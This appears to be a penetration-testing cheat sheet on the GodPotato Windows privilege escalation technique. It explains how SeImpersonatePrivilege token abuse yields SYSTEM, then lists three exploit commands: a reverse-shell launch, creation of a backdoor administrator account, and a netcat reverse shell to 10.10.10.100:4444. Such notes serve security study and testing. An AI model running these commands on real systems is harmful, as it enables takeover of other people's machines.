# God Potato

### Overview

**God Potato** is a **Windows local privilege escalation (LPE)** technique that abuses **token impersonation** to escalate privileges from a **low-privileged service account** to **NT AUTHORITY\SYSTEM**.

It is the **latest and most powerful member of the Potato family**, designed to work on **modern Windows versions** where earlier Potato attacks (Juicy, Rogue, PrintSpoofer, Sweet) often fail.

God Potato exploits:

* Windows **RPC / ALPC behavior**
* **NTLM authentication**
* SeImpersonatePrivilege

### Why this Works

Windows allows processes with **SeImpersonatePrivilege** to impersonate tokens of authenticated clients.

God Potato:

1. Creates a **malicious RPC/ALPC listener**
2. Forces a **SYSTEM process** to authenticate to it
3. Captures the **SYSTEM access token**
4. Impersonates the token
5. Executes attacker-controlled commands as SYSTEM

### Prerequisites

1. Local Code Execution
2. Token Impersonation Privilege
3. Suitable Execution Context(Eg: IIS AppPool, MSSQL service account, NETWORK SERVICE)
4. Windows 2012,2016,2019 and 2022(config dependent). Windows 10, 11 (Depends)

### Steps

1. Check Token Privileges
2. Upload God Potato
3. Execute Exploit:

   ```bash
   Godpotato.exe -cmd "cmd /c reverse.exe"
   Godpotato.exe -cmd "cmd.exe /c net user godadmin P@ssw0rd! /add && net localgroup administrators godadmin /add"
   Godpotato.exe -cmd ".\nc64.exe 10.10.10.100 4444 -e c:\windows\system32\cmd.exe"
   ```

### References

1. <https://github.com/BeichenDream/GodPotato>


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